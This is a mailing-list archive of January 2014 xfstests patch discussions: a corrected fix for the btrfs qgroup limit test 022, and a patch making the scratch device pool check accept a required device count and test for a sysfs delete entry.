KILL_LEVEL=2.7 tests=ISO2022JP_CHARSET, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143784 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 ISO2022JP_CHARSET ISO-2022-JP message 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On 2014/01/06 17:08, Wang Shilong wrote: > Here we expect 0 as return value, fix it. > > Signed-off-by: Wang Shilong > Cc: Josef Bacik > --- > tests/btrfs/022 | 2 +- > 1 file changed, 1 insertion(+), 1 deletion(-) > mode change 100644 => 100755 tests/btrfs/022 > > diff --git a/tests/btrfs/022 b/tests/btrfs/022 > old mode 100644 > new mode 100755 > index 5b18643..142aaf9 > --- a/tests/btrfs/022 > +++ b/tests/btrfs/022 > @@ -106,7 +106,7 @@ _limit_test() > [ $? -ne 0 ] || _fail "quota should have limited us" > dd if=/dev/urandom of=$SCRATCH_MNT/a/file bs=4M count=1 >> \ > $seqres.full 2>&1 > - [ $? -eq 0 ] || _fail "should have been allowed to write" > + [ $? -ne 0 ] || _fail "should have been allowed to write" from "man bash", An OR list has the form command1 || command2 command2 is executed if and only if command1 returns a non-zero exit status. So, original code is OK, I think. Thanks, Tsutomu > } > > _scratch_mkfs > /dev/null 2>&1 > From wangsl.fnst@cn.fujitsu.com Mon Jan 6 02:49:31 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BA8387F4E for ; Mon, 6 Jan 2014 02:49:31 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id A57F18F8035 for ; Mon, 6 Jan 2014 00:49:28 -0800 (PST) X-ASG-Debug-ID: 1388998166-04cbb04167c16c90001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id Bi7nGfqChJ1hsaKc for ; Mon, 06 Jan 2014 00:49:26 -0800 (PST) X-Barracuda-Envelope-From: wangsl.fnst@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.95,611,1384272000"; d="scan'208";a="9378113" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 06 Jan 2014 16:45:49 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id s068nOMn027894; Mon, 6 Jan 2014 16:49:25 +0800 Received: from [10.167.226.104] ([10.167.226.104]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2014010616482641-845463 ; Mon, 6 Jan 2014 16:48:26 +0800 Message-ID: <52CA6DDF.3080306@cn.fujitsu.com> Date: Mon, 06 Jan 2014 16:48:31 +0800 From: Wang Shilong User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130612 Thunderbird/17.0.6 MIME-Version: 1.0 To: Tsutomu Itoh CC: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org, Josef Bacik Subject: Re: [PATCH] xfstests: fix wrong return check for case 022 References: <1388995737-3480-1-git-send-email-wangsl.fnst@cn.fujitsu.com> <52CA67F2.9010108@jp.fujitsu.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: fix wrong return check for case 022 In-Reply-To: <52CA67F2.9010108@jp.fujitsu.com> X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/01/06 16:48:26, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/01/06 16:48:27, Serialize complete at 2014/01/06 16:48:27 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=ISO-2022-JP X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1388998166 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: -0.00 X-Barracuda-Spam-Status: No, SCORE=-0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=ISO2022JP_CHARSET X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143785 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 ISO2022JP_CHARSET ISO-2022-JP message Itoh San, On 01/06/2014 04:23 PM, Tsutomu Itoh wrote: > On 2014/01/06 17:08, Wang Shilong wrote: >> Here we expect 0 as return value, fix it. >> >> Signed-off-by: Wang Shilong >> Cc: Josef Bacik >> --- >> tests/btrfs/022 | 2 +- >> 1 file changed, 1 insertion(+), 1 deletion(-) >> mode change 100644 => 100755 tests/btrfs/022 >> >> diff --git a/tests/btrfs/022 b/tests/btrfs/022 >> old mode 100644 >> new mode 100755 >> index 5b18643..142aaf9 >> --- a/tests/btrfs/022 >> +++ b/tests/btrfs/022 >> @@ -106,7 +106,7 @@ _limit_test() >> [ $? -ne 0 ] || _fail "quota should have limited us" >> dd if=/dev/urandom of=$SCRATCH_MNT/a/file bs=4M count=1 >> \ >> $seqres.full 2>&1 >> - [ $? -eq 0 ] || _fail "should have been allowed to write" >> + [ $? -ne 0 ] || _fail "should have been allowed to write" > from "man bash", > An OR list has the form > command1 || command2 > command2 is executed if and only if command1 returns a non-zero exit > status. > > So, original code is OK, I think. You are absolutely right, during my test i found we fail this case. I took a careful think about this: The problem is that we should clear the data we have written before, Because we may write some data before, for example we limit subvolume to 5M then we try this: # dd if=/dev/zero of=/mnt/data bs=10M count=1 Although we try to write 10M once, in kernel, we may split it into several request, at the end, we can still write some data actually, you can try the following command after the above command. # du -sh /mnt/data Here i think the best way to fix this problem is we disable quota and retry with 4m. # btrfs qgroup limit none /mnt <------------- in case we are nearly full and we can not delete file. # rm -rf /mnt/data && btrfs filesystem sync /mnt # btrfs qgroup limit 5m /mnt # dd if=/dev/zero of=/mnt bs=4m count=1 Please correct me if i miss something here.^_^ Thanks, Wang > Thanks, > Tsutomu > >> } >> >> _scratch_mkfs > /dev/null 2>&1 >> > From quwenruo@cn.fujitsu.com Mon Jan 6 03:12:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8D02A7F37 for ; Mon, 6 Jan 2014 03:12:34 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3B6E8AC007 for ; Mon, 6 Jan 2014 01:12:34 -0800 (PST) X-ASG-Debug-ID: 1388999548-04bdf00fe2510380001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id WMq4zSA3GnNnfffy for ; Mon, 06 Jan 2014 01:12:29 -0800 (PST) X-Barracuda-Envelope-From: quwenruo@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.95,611,1384272000"; d="scan'208";a="9378291" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 06 Jan 2014 17:08:51 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id s069CPl2030052; Mon, 6 Jan 2014 17:12:27 +0800 Received: from adam-work.lan ([10.167.226.24]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2014010617112706-846327 ; Mon, 6 Jan 2014 17:11:27 +0800 From: Qu Wenruo To: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Cc: Miao Xie Subject: [PATCH] xfstests: Enhance the scratch dev pool and deletable device check Date: Mon, 6 Jan 2014 17:13:18 +0800 X-ASG-Orig-Subj: [PATCH] xfstests: Enhance the scratch dev pool and deletable device check Message-Id: <1388999598-17058-1-git-send-email-quwenruo@cn.fujitsu.com> X-Mailer: git-send-email 1.8.5.2 X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/01/06 17:11:27, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/01/06 17:11:29, Serialize complete at 2014/01/06 17:11:29 X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1388999549 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143785 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Miao Xie From: Miao Xie _require_scratch_dev_pool() checks the devices number in SCRATCH_DEV_POOL, but it's not enough since some btrfs RAID10 tests needs 4 devices, but when 3 or less devices are provided, the check is useless and related test case will fail(btrfs/003 btrfs/011 btrfs/023). Also _require_deletable_scratch_dev_pool only checks whether it is virtul, like virtio(not including virtio-scsi) disk will pass the check but is unable to delete. This patch enhance _require_scratch_dev_pool by add optional $1 as needed device number to do extra check. And enhance _require_deletable_scratch_dev_pool by directly check /sys/class/block/$DEV/device/delete file. Signed-off-by: Miao Xie Signed-off-by: Qu Wenruo --- common/rc | 22 ++++++++++++++-------- tests/btrfs/003 | 2 +- tests/btrfs/011 | 2 +- 3 files changed, 16 insertions(+), 10 deletions(-) diff --git a/common/rc b/common/rc index a2005c9..09644af 100644 --- a/common/rc +++ b/common/rc @@ -1927,16 +1927,24 @@ _test_inode_extsz() _require_scratch_dev_pool() { local i + local ndevs + if [ -z "$SCRATCH_DEV_POOL" ]; then _notrun "this test requires a valid \$SCRATCH_DEV_POOL" fi - # btrfs test case needs 2 or more scratch_dev_pool; other FS not sure + if [ -z "$1" ]; then + ndevs=2 + else + ndevs=$1 + fi + + # btrfs test case needs ndevs or more scratch_dev_pool; other FS not sure # so fail it case $FSTYP in btrfs) - if [ "`echo $SCRATCH_DEV_POOL|wc -w`" -lt 2 ]; then - _notrun "btrfs and this test needs 2 or more disks in SCRATCH_DEV_POOL" + if [ "`echo $SCRATCH_DEV_POOL|wc -w`" -lt $ndevs ]; then + _notrun "btrfs and this test needs $ndevs or more disks in SCRATCH_DEV_POOL" fi ;; *) @@ -1963,17 +1971,15 @@ _require_scratch_dev_pool() done } -# We will check if the device is virtual (eg: loop device) since it does not -# have the delete entry-point. Otherwise SCSI and USB devices are fine. +# We will check if the device is deletable _require_deletable_scratch_dev_pool() { local i local x for i in $SCRATCH_DEV_POOL; do x=`echo $i | cut -d"/" -f 3` - ls -l /sys/class/block/${x} | grep -q "virtual" - if [ $? == "0" ]; then - _notrun "$i is a virtual device which is not deletable" + if [ ! -f /sys/class/block/${x}/device/delete ]; then + _notrun "$i is a device which is not deletable" fi done } diff --git a/tests/btrfs/003 b/tests/btrfs/003 index 9105d06..29f947b 100755 --- a/tests/btrfs/003 +++ b/tests/btrfs/003 @@ -49,7 +49,7 @@ _need_to_be_root _supported_fs btrfs _supported_os Linux _require_scratch -_require_scratch_dev_pool +_require_scratch_dev_pool 4 _require_deletable_scratch_dev_pool _require_command $WIPEFS_PROG diff --git a/tests/btrfs/011 b/tests/btrfs/011 index 71ff3de..faa0402 100755 --- a/tests/btrfs/011 +++ b/tests/btrfs/011 @@ -62,7 +62,7 @@ trap "_cleanup; exit \$status" 0 1 2 3 15 _need_to_be_root _supported_fs btrfs _require_scratch -_require_scratch_dev_pool +_require_scratch_dev_pool 4 _require_command $BTRFS_SHOW_SUPER_PROG btrfs-show-super rm -f $seqres.full -- 1.8.5.2 From quwenruo@cn.fujitsu.com Mon Jan 6 03:16:47 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 320347F37 for ; Mon, 6 Jan 2014 03:16:47 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id A5A8DAC004 for ; Mon, 6 Jan 2014 01:16:46 -0800 (PST) X-ASG-Debug-ID: 1388999804-04cb6c537ec20820001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id Rwi4mnvpEoEH5sSt for ; Mon, 06 Jan 2014 01:16:44 -0800 (PST) X-Barracuda-Envelope-From: quwenruo@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.95,611,1384272000"; d="scan'208";a="9378338" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 06 Jan 2014 17:13:07 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id s069GeaD030414; Mon, 6 Jan 2014 17:16:41 +0800 Received: from [172.16.0.100] ([10.167.226.24]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2014010617154195-846495 ; Mon, 6 Jan 2014 17:15:41 +0800 Message-ID: <52CA74AD.5040304@cn.fujitsu.com> Date: Mon, 06 Jan 2014 17:17:33 +0800 From: Qu Wenruo User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH] xfstests: Enhance the scratch dev pool and deletable device check References: <1388999598-17058-1-git-send-email-quwenruo@cn.fujitsu.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: Enhance the scratch dev pool and deletable device check In-Reply-To: <1388999598-17058-1-git-send-email-quwenruo@cn.fujitsu.com> X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/01/06 17:15:41, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/01/06 17:15:42 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1388999804 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143785 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Qu Wenruo =E5=86=99=E9=81=93: > From: Miao Xie Sorry for the double from line. I'll resend the patch. Qu > > From: Miao Xie > > =5Frequire=5Fscratch=5Fdev=5Fpool() checks the devices number in > SCRATCH=5FDEV=5FPOOL, but it's not enough since some btrfs RAID10 tests > needs 4 devices, but when 3 or less devices are provided, the check is > useless and related test case will fail(btrfs/003 btrfs/011 btrfs/023). > > Also =5Frequire=5Fdeletable=5Fscratch=5Fdev=5Fpool only checks whether it= is > virtul, like virtio(not including virtio-scsi) disk will pass the check > but is unable to delete. > > This patch enhance =5Frequire=5Fscratch=5Fdev=5Fpool by add optional $1 as > needed device number to do extra check. > And enhance =5Frequire=5Fdeletable=5Fscratch=5Fdev=5Fpool by directly che= ck > /sys/class/block/$DEV/device/delete file. > > Signed-off-by: Miao Xie > Signed-off-by: Qu Wenruo > --- > common/rc | 22 ++++++++++++++-------- > tests/btrfs/003 | 2 +- > tests/btrfs/011 | 2 +- > 3 files changed, 16 insertions(+), 10 deletions(-) > > diff --git a/common/rc b/common/rc > index a2005c9..09644af 100644 > --- a/common/rc > +++ b/common/rc > @@ -1927,16 +1927,24 @@ =5Ftest=5Finode=5Fextsz() > =5Frequire=5Fscratch=5Fdev=5Fpool() > { > local i > + local ndevs > + > if [ -z "$SCRATCH=5FDEV=5FPOOL" ]; then > =5Fnotrun "this test requires a valid \$SCRATCH=5FDEV=5FPOOL" > fi > =20 > - # btrfs test case needs 2 or more scratch=5Fdev=5Fpool; other FS not su= re > + if [ -z "$1" ]; then > + ndevs=3D2 > + else > + ndevs=3D$1 > + fi > + > + # btrfs test case needs ndevs or more scratch=5Fdev=5Fpool; other FS no= t sure > # so fail it > case $FSTYP in > btrfs) > - if [ "`echo $SCRATCH=5FDEV=5FPOOL|wc -w`" -lt 2 ]; then > - =5Fnotrun "btrfs and this test needs 2 or more disks in SCRATCH=5FDEV= =5FPOOL" > + if [ "`echo $SCRATCH=5FDEV=5FPOOL|wc -w`" -lt $ndevs ]; then > + =5Fnotrun "btrfs and this test needs $ndevs or more disks in SCRATCH= =5FDEV=5FPOOL" > fi > ;; > *) > @@ -1963,17 +1971,15 @@ =5Frequire=5Fscratch=5Fdev=5Fpool() > done > } > =20 > -# We will check if the device is virtual (eg: loop device) since it does= not > -# have the delete entry-point. Otherwise SCSI and USB devices are fine. > +# We will check if the device is deletable > =5Frequire=5Fdeletable=5Fscratch=5Fdev=5Fpool() > { > local i > local x > for i in $SCRATCH=5FDEV=5FPOOL; do > x=3D`echo $i | cut -d"/" -f 3` > - ls -l /sys/class/block/${x} | grep -q "virtual" > - if [ $? =3D=3D "0" ]; then > - =5Fnotrun "$i is a virtual device which is not deletable" > + if [ ! -f /sys/class/block/${x}/device/delete ]; then > + =5Fnotrun "$i is a device which is not deletable" > fi > done > } > diff --git a/tests/btrfs/003 b/tests/btrfs/003 > index 9105d06..29f947b 100755 > --- a/tests/btrfs/003 > +++ b/tests/btrfs/003 > @@ -49,7 +49,7 @@ =5Fneed=5Fto=5Fbe=5Froot > =5Fsupported=5Ffs btrfs > =5Fsupported=5Fos Linux > =5Frequire=5Fscratch > -=5Frequire=5Fscratch=5Fdev=5Fpool > +=5Frequire=5Fscratch=5Fdev=5Fpool 4 > =5Frequire=5Fdeletable=5Fscratch=5Fdev=5Fpool > =5Frequire=5Fcommand $WIPEFS=5FPROG > =20 > diff --git a/tests/btrfs/011 b/tests/btrfs/011 > index 71ff3de..faa0402 100755 > --- a/tests/btrfs/011 > +++ b/tests/btrfs/011 > @@ -62,7 +62,7 @@ trap "=5Fcleanup; exit \$status" 0 1 2 3 15 > =5Fneed=5Fto=5Fbe=5Froot > =5Fsupported=5Ffs btrfs > =5Frequire=5Fscratch > -=5Frequire=5Fscratch=5Fdev=5Fpool > +=5Frequire=5Fscratch=5Fdev=5Fpool 4 > =5Frequire=5Fcommand $BTRFS=5FSHOW=5FSUPER=5FPROG btrfs-show-super > =20 > rm -f $seqres.full = From wangsl.fnst@cn.fujitsu.com Mon Jan 6 03:18:52 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2CD5A7F37 for ; Mon, 6 Jan 2014 03:18:52 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id B8A27AC004 for ; Mon, 6 Jan 2014 01:18:51 -0800 (PST) X-ASG-Debug-ID: 1388999930-04bdf0568ece4e0001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id Yv9pc00FZ8Cy3FvW for ; Mon, 06 Jan 2014 01:18:50 -0800 (PST) X-Barracuda-Envelope-From: wangsl.fnst@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.95,611,1384272000"; d="scan'208";a="9378353" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 06 Jan 2014 17:15:13 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id s069Il2m030510; Mon, 6 Jan 2014 17:18:49 +0800 Received: from wangs.fnst.cn.fujitsu.com ([10.167.226.104]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2014010617174875-846546 ; Mon, 6 Jan 2014 17:17:48 +0800 From: Wang Shilong To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, jbacik@fb.com, t-itoh@jp.fujitsu.com Subject: [PATCH v2] xfstests: fix failed 022 case with qgroup limit test Date: Mon, 6 Jan 2014 17:17:50 +0800 X-ASG-Orig-Subj: [PATCH v2] xfstests: fix failed 022 case with qgroup limit test Message-Id: <1388999870-14842-1-git-send-email-wangsl.fnst@cn.fujitsu.com> X-Mailer: git-send-email 1.8.3.1 X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/01/06 17:17:48, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/01/06 17:17:51, Serialize complete at 2014/01/06 17:17:51 X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1388999930 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143785 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- To have noexceed test, we should clear data before and then retry. However, when we are near to quota limit, we may fail to truncate/remove data before, so we restart everthing here. Signed-off-by: Wang Shilong --- changelog v1->v2: on the right way to fix failed case(Thanks to Tsutomu Itoh) --- tests/btrfs/022 | 20 +++++++++++++++++--- 1 file changed, 17 insertions(+), 3 deletions(-) diff --git a/tests/btrfs/022 b/tests/btrfs/022 index 5b18643..41d8588 100644 --- a/tests/btrfs/022 +++ b/tests/btrfs/022 @@ -94,8 +94,8 @@ _rescan_test() _fail "exclusive values don't match after rescan" } -#basic limit testing -_limit_test() +#basic exceed limit testing +_limit_test_exceed() { run_check $BTRFS_UTIL_PROG subvol create $SCRATCH_MNT/a run_check $BTRFS_UTIL_PROG quota enable $SCRATCH_MNT @@ -104,6 +104,15 @@ _limit_test() dd if=/dev/urandom of=$SCRATCH_MNT/a/file bs=10M count=1 >> \ $seqres.full 2>&1 [ $? -ne 0 ] || _fail "quota should have limited us" +} + +#basic noexceed limit testing +_limit_test_noexceed() +{ + run_check $BTRFS_UTIL_PROG subvol create $SCRATCH_MNT/a + run_check $BTRFS_UTIL_PROG quota enable $SCRATCH_MNT + subvolid=$(_btrfs_get_subvolid $SCRATCH_MNT a) + run_check $BTRFS_UTIL_PROG qgroup limit 5M 0/$subvolid $SCRATCH_MNT dd if=/dev/urandom of=$SCRATCH_MNT/a/file bs=4M count=1 >> \ $seqres.full 2>&1 [ $? -eq 0 ] || _fail "should have been allowed to write" @@ -121,7 +130,12 @@ _scratch_unmount _scratch_mkfs > /dev/null 2>&1 _scratch_mount -_limit_test +_limit_test_exceed +_scratch_unmount + +_scratch_mkfs > /dev/null 2>&1 +_scratch_mount +_limit_test_noexceed # success, all done echo "Silence is golden" -- 1.8.3.1 From quwenruo@cn.fujitsu.com Mon Jan 6 03:18:53 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 391747F37 for ; Mon, 6 Jan 2014 03:18:53 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id F0C338F8037 for ; Mon, 6 Jan 2014 01:18:52 -0800 (PST) X-ASG-Debug-ID: 1388999930-04bdf0568ece4e0002-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id 0grFFaONA4H6g7bj for ; Mon, 06 Jan 2014 01:18:51 -0800 (PST) X-Barracuda-Envelope-From: quwenruo@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.95,611,1384272000"; d="scan'208";a="9378354" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 06 Jan 2014 17:15:14 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id s069Ioie030515; Mon, 6 Jan 2014 17:18:50 +0800 Received: from adam-work.lan ([10.167.226.24]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2014010617175168-846548 ; Mon, 6 Jan 2014 17:17:51 +0800 From: Qu Wenruo To: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Cc: Miao Xie Subject: [PATCH RESEND] xfstests: Enhance the scratch dev pool and deletable device check Date: Mon, 6 Jan 2014 17:19:42 +0800 X-ASG-Orig-Subj: [PATCH RESEND] xfstests: Enhance the scratch dev pool and deletable device check Message-Id: <1388999982-17877-1-git-send-email-quwenruo@cn.fujitsu.com> X-Mailer: git-send-email 1.8.5.2 X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/01/06 17:17:51, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/01/06 17:17:52, Serialize complete at 2014/01/06 17:17:52 X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1388999931 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143785 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Miao Xie _require_scratch_dev_pool() checks the devices number in SCRATCH_DEV_POOL, but it's not enough since some btrfs RAID10 tests needs 4 devices, but when 3 or less devices are provided, the check is useless and related test case will fail(btrfs/003 btrfs/011 btrfs/023). Also _require_deletable_scratch_dev_pool only checks whether it is virtul, like virtio(not including virtio-scsi) disk will pass the check but is unable to delete. This patch enhance _require_scratch_dev_pool by add optional $1 as needed device number to do extra check. And enhance _require_deletable_scratch_dev_pool by directly check /sys/class/block/$DEV/device/delete file. Signed-off-by: Miao Xie Signed-off-by: Qu Wenruo --- common/rc | 22 ++++++++++++++-------- tests/btrfs/003 | 2 +- tests/btrfs/011 | 2 +- 3 files changed, 16 insertions(+), 10 deletions(-) diff --git a/common/rc b/common/rc index a2005c9..09644af 100644 --- a/common/rc +++ b/common/rc @@ -1927,16 +1927,24 @@ _test_inode_extsz() _require_scratch_dev_pool() { local i + local ndevs + if [ -z "$SCRATCH_DEV_POOL" ]; then _notrun "this test requires a valid \$SCRATCH_DEV_POOL" fi - # btrfs test case needs 2 or more scratch_dev_pool; other FS not sure + if [ -z "$1" ]; then + ndevs=2 + else + ndevs=$1 + fi + + # btrfs test case needs ndevs or more scratch_dev_pool; other FS not sure # so fail it case $FSTYP in btrfs) - if [ "`echo $SCRATCH_DEV_POOL|wc -w`" -lt 2 ]; then - _notrun "btrfs and this test needs 2 or more disks in SCRATCH_DEV_POOL" + if [ "`echo $SCRATCH_DEV_POOL|wc -w`" -lt $ndevs ]; then + _notrun "btrfs and this test needs $ndevs or more disks in SCRATCH_DEV_POOL" fi ;; *) @@ -1963,17 +1971,15 @@ _require_scratch_dev_pool() done } -# We will check if the device is virtual (eg: loop device) since it does not -# have the delete entry-point. Otherwise SCSI and USB devices are fine. +# We will check if the device is deletable _require_deletable_scratch_dev_pool() { 